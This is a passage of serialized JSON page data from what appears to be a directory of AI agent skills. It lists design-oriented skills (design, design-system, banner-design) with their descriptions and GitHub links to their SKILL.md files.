social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":135,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":153,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":135,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]